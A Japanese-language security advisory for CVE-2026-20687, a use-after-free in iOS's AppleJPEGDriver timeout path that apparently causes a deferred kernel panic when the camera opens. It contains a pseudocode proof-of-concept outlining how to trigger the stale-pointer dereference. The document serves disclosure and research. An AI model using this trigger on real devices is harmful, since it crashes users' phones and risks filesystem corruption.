
CVE-2026-20687: AppleJPEGDriver startDecoder タイムアウト UAF — 遅延パニックを引き起こす iOS/macOS カーネル脆弱性(A19 Pro、iOS 26.3 RC)
CVE-2026-20687 · Enfilade · enfilade.io
コンポーネント: カーネル
影響: アプリが予期しないシステム終了を引き起こしたり、カーネルメモリに書き込んだりする可能性があります。
説明: メモリ管理の改善により、use after free の問題が解決されました。
| iOS | 26.3 (23D125)(テスト済み) |
| macOS | — |
| コンポーネント | AppleJPEGDriver |
| パッチ適用 | iOS 26.4 / iPadOS 26.4 |
| ハードウェア | iPhone18,2(iPhone 17 Pro Max、A19 Pro) |
PoC を実行するとデバイスがカーネルパニックを起こします。実行前に作業を保存してください。パニックを繰り返すとファイルシステムが破損する可能性があります。セキュリティ研究目的のみに使用してください。
startDecoder_sync のタイムアウトパスはリクエストを解放しますが、埋め込まれたキュー・ノードポインタをコーデックごとのベクタに残します。その後のキュー走査が古いノードを逆参照し、MTE タグチェックの強制下でカーネルがパニックします。パニックは通常、後続の同期 JPEG デコードが実行されるまで延期されます。iPhone では、これはカメラアプリが開かれたときに確実に発生します。
// ドライバを準備します。パニックは通常、カメラが開かれるまで延期されます。
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// その後、カメラを開くと以下がトリガーされます:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: (req + 0x78) をデキューしない
// さらに後(finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // 古い: node_ptr == (解放済み req + 0x78)
req2 = *(node_ptr + 0x8); // UAF 読み取り -> MTE タグフォルト -> パニック
ios-app/Test.xcodeproj を開きます。LICENSE を参照してください。